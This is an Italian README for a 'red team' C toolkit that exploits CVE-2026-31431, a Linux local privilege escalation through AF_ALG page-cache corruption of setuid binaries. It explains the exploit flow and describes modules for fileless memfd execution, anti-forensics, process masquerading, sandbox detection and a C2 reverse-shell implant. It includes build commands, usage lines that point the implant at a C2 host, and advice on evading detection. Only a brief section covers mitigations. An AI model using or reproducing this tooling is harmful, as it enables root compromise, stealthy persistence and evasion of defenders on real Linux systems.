Copy Fail -- CVE-2026-31431
Implementazione C robusta per operazioni di red team e penetration testing autorizzato.
⚠️ Avviso legale: Questo strumento è destinato esclusivamente a ricerche di sicurezza autorizzate, penetration testing autorizzato e analisi difensiva. Utilizzalo solo su sistemi di tua proprietà o per i quali hai ottenuto esplicita autorizzazione scritta per il test. L'accesso non autorizzato ai sistemi informatici è illegale.
🚀 Lo sviluppo principale è stato spostato su GitLab.
Questo repository è attivamente mantenuto qui. Per problemi e contributi, si prega di utilizzare GitLab.
Indice
Panoramica
Questo progetto è una implementazione C robusta e pronta per la produzione dell'exploit di escalation dei privilegi locale CVE-2026-31431 ("Copy Fail"), originariamente divulgato da Theori e Xint il 29 aprile 2026.
Il proof-of-concept originale era scritto in Python e progettato per dimostrazione di ricerca. Questa implementazione lo trasforma in un toolkit di livello red team con:
- Zero artefatti su disco (esecuzione fileless tramite memfd)
- Scoperta automatica dei target (enumerazione dei binari setuid con consapevolezza MAC)
- Anti-forensics (cancellazione cache, ripristino timestamp, autodistruzione)
- Controllo operatore (esecuzione attivata da segnale con timeout configurabili)
- Build statiche cross-platform (x86_64, ARM64, RISC-V tramite musl/zig)
Ricerca originale
CVE-2026-31431: Copy Fail
Meccanismo della vulnerabilità
La vulnerabilità risiede nel sottosistema crypto AF_ALG del kernel Linux. Il template AEAD authencesn implementa un'ottimizzazione in-place per la decrittografia: quando il testo cifrato viene fornito tramite splice() dalla cache di pagina di un file, il kernel riutilizza la stessa pagina sia come sorgente che come destinazione.
Il flusso dell'attacco:
- Aprire un binario setuid (es.
/usr/bin/su) in sola lettura
- Impostare un'operazione AEAD
authencesn(hmac(sha256),cbc(aes)) tramite AF_ALG
- Fornire il testo cifrato tramite
splice() dalla cache di pagina del file target
- L'operazione di decrittografia (fallita) sovrascrive 4 byte della pagina della cache di pagina prima che l'autenticazione la rifiuti
- Ripetere per ogni finestra di 4 byte del payload
- Eseguire
execve() sul target -- il kernel carica le pagine mutate dalla cache, concede credenziali setuid-root
- Il payload si trasforma in una shell root completa
Punto chiave: L'inode su disco non viene mai modificato. Viene mutata solo la cache di pagina in memoria, rendendo il rilevamento forense significativamente più difficile rispetto agli exploit tradizionali di sovrascrittura dei file.
I nostri miglioramenti
Questo progetto estende la ricerca originale con indurimento orientato al red team attraverso nove moduli.
1. Primitiva di exploit robusta (patch_chunk.c)
2. Scoperta automatica dei target (target_discovery.c)
- Scansione a tre fasi: target prioritari → directory standard → scansione profonda
- Punteggio consapevole MAC: penalizza i binari con profili AppArmor/SELinux
- 18 target prioritari:
su, sudo, passwd, pkexec, mount, ping, ecc.
- Catena di fallback: se il target primario fallisce, seleziona automaticamente il miglior candidato successivo
- Consapevolezza Snap: salta
/snap (setuid non tradizionale)
3. Suite anti-forensics (anti_forensics.c)
4. Esecuzione fileless (memfd_exec.c)
- memfd_create + fexecve: esecuzione senza percorso filesystem
- Mimetizzazione: memfd denominato come
kworker, anon_inode, eventfd (si confonde in /proc/$pid/fd/)
- Fork-e-dimentica: doppio fork per creare un processo orfano (PPID=1)
- Decrittografia in memoria: decrittografia XOR e RC4 seguita da exec (payload mai in chiaro su disco)
5. Consegna del payload Stage-1 (stage1.c)
6. Impianto C2 Stage-2 (stage2_template.c)
- Ciclo di riconnessione resiliente con backoff esponenziale
- Tre distribuzioni: uniforme, triangolare, jitter esponenziale
- Controllo tramite segnale:
SIGUSR1 (attiva), SIGUSR2 (stato), SIGTERM (spegnimento)
- Beaconing DNS: controllo stealth dello stato C2 prima della connessione TCP
- Mascheramento del processo:
[kworker/N:0] in ps/top
7. Occultamento del processo (proc_hide.c)
- Sovrascrittura argv[0]: sostituzione in-place di
/proc/$pid/cmdline
- prctl(PR_SET_NAME): nomi in stile thread del kernel (limite 16 byte)
- Sanitizzazione dell'ambiente: pulizia selettiva di
SSH_*, AWS_*, TOKEN*, ecc.
- Distacco dal genitore:
setsid() + setpgid() per indipendenza dal terminale
8. Controllo dell'attivazione tramite segnale (signal_trigger.c)
| Modalità | Comportamento | Caso d'uso |
|---|
trigger_oneshot() |
Attesa a zero CPU: sigsuspend() invece di cicli di polling.
9. Jitter di sleep (sleep_jitter.c)
- Tre backend RNG:
getrandom(2), /dev/urandom, fallback rdtsc
- Campionamento per rifiuto: elimina il bias modulo nella distribuzione uniforme
- Compensazione della deriva:
sleep_scheduled() mantiene l'intervallo medio nonostante il jitter
- Rilevamento sandbox:
check_sandbox_acceleration() rileva sleep() corretto
Architettura
┌─────────────────────────────────────────────────────────────┐
│ exploit.c (Orchestrator) │
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
│ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │
│ │ Process │ │ Target │ │ │ │ │ │
│ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Core Module Layer │ │
│ │ patch_chunk.c target_discovery.c anti_forensics.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Delivery & Evasion Layer │ │
│ │ stage1.c memfd_exec.c proc_hide.c │ │
│ │ signal_trigger.c sleep_jitter.c │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Layer (Stage-2) │ │
│ │ stage2_template.c (reverse shell / C2 implant) │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Compilazione
Requisiti
- GCC o Clang
- GNU Make
- Header Linux (
linux-libc-dev o equivalente)
- Opzionale:
musl-tools (per build statiche piccole)
- Opzionale:
zig (per cross-compilazione moderna)
- Opzionale:
dpkg-deb (per pacchettizzazione Debian)
Avvio rapido
# Build red team standard (ottimizzata, stripped, statica)
make redteam
# Build pentest (simboli, ottimizzazione moderata)
make pentest
# Build debug (ASAN, simboli completi)
make debug
# Verificatore di vulnerabilità (non distruttivo)
make checker
Cross-compilazione
# ARM64 (target cloud AWS/Azure)
make cross-arm64
# RISC-V
make cross-riscv
# ARM HF (embedded/IoT)
make cross-armhf
# Cross-compilazione Zig (senza installazione toolchain)
make cross-zig-arm64
make cross-zig-riscv
Build statica musl (Binari minuscoli)
make musl-static
# Produce binari statici da ~50-100 KB con zero dipendenze glibc
Pacchetto Debian
make deb VERSION=1.0.0
# Produce: build/deb/copy-fail-cve-2026-31431-1.0.0.deb
make info
# Mostra: CC, CFLAGS, LDFLAGS, architettura, disponibilità toolchain
Utilizzo
Modalità standard (attivata da segnale)
# Distribuisci l'impianto
./exploit &
IMP_PID=$!
# Attiva lo sfruttamento da remoto
kill -USR1 $IMP_PID
# Richiedi stato (nessuna azione)
kill -USR2 $IMP_PID
# Spegnimento controllato
kill -TERM $IMP_PID
./exploit -t # Attiva subito, nessuna attesa di segnale
./exploit -t -c c2.example.com -p 9999
Configurazione personalizzata
./exploit \
-c c2.redteam.internal \ # Hostname C2
-p 4444 \ # Porta C2
-d 300 \ # Ritardo iniziale di 5 minuti
-T 7200 \ # Timeout di attivazione di 2 ore
-n # Salta la verifica della vulnerabilità
Verifica di vulnerabilità non distruttiva
./vulnerable
# Codice di uscita: 100 = vulnerabile, 0 = corretto, altro = errore
Moduli
Sicurezza operativa
Best practice per il red team
- Distribuire durante periodi di bassa attività per ridurre la correlazione
- Usare jitter esponenziale per gli intervalli di riconnessione (evita il rilevamento del beaconing)
- Attivare tramite SIGUSR1 piuttosto che attivazione automatica (l'operatore mantiene il controllo)
- Eseguire sempre la pulizia (
full_cleanup) anche se l'exploit fallisce
- Preferire l'esecuzione memfd rispetto ai payload su disco
- Doppio fork per persistenza (
memfd_fork_exec_detach)
- Monitorare l'accelerazione sandbox prima di eseguire
Artefatti forensi
Rilevamento e mitigazione
Rilevamento difensivo
Mitigazioni
- Patch del kernel: Aggiornare a Linux >= 6.14 con commit
a664bf3d603d
- Livepatch: Applicare backport specifico della distribuzione
- SELinux/AppArmor: Applicare profili sui binari setuid
- Monitoraggio eBPF: Tracciare combinazioni
AF_ALG + splice()
- Verifica cache di pagina: Controlli periodici di integrità sui binari critici
Crediti
Ricerca originale
Porting C di base
- Tony Gies --
tgies/copy-fail-c
- Ha fornito l'implementazione C fondamentale utilizzando
nolibc
- Wrapper syscall multipiattaforma e infrastruttura di build
Questo fork indurito
- Indurimento orientato al red team attraverso 9 moduli
- Funzionalità di sicurezza operativa (anti-forensics, evasione, furtività)
- Supporto cross-compilazione (musl, zig, multi-architettura)
- Controllo operatore basato su segnale e modalità di esecuzione configurabili
Riconoscimenti
- Sviluppatori del kernel Linux per
memfd_create(2) e fexecve(3)
- Manutentori di
nolibc per l'alternativa libc solo header
- Progetto musl libc per binari statici minuscoli
- Progetto Zig per toolchain di cross-compilazione moderna
Licenza
Questo progetto è concesso in licenza duale sotto:
Consultare i singoli file sorgente per gli identificatori SPDX.
La ricerca originale e il porting C di base rimangono sotto le rispettive licenze. Il codice aggiuntivo di questo fork è fornito sotto la suddetta licenza duale per la massima compatibilità con casi d'uso di ricerca sulla sicurezza sia open-source che commerciali.
Esclusione di responsabilità
Questo software è fornito esclusivamente per ricerca sulla sicurezza autorizzata e penetration testing autorizzato. Gli autori non si assumono alcuna responsabilità per un uso improprio o danni causati da questo software. Ottenere sempre la dovuta autorizzazione prima di testare qualsiasi sistema di cui non si è proprietari.
Se si scopre questa vulnerabilità sui propri sistemi:
- Applicare la patch del kernel (commit
a664bf3d603d o backport della distribuzione)
- Monitorare gli indicatori di compromissione (IoCs) elencati sopra
- Esaminare
/var/log/audit/ e la telemetria EDR per anomalie AF_ALG
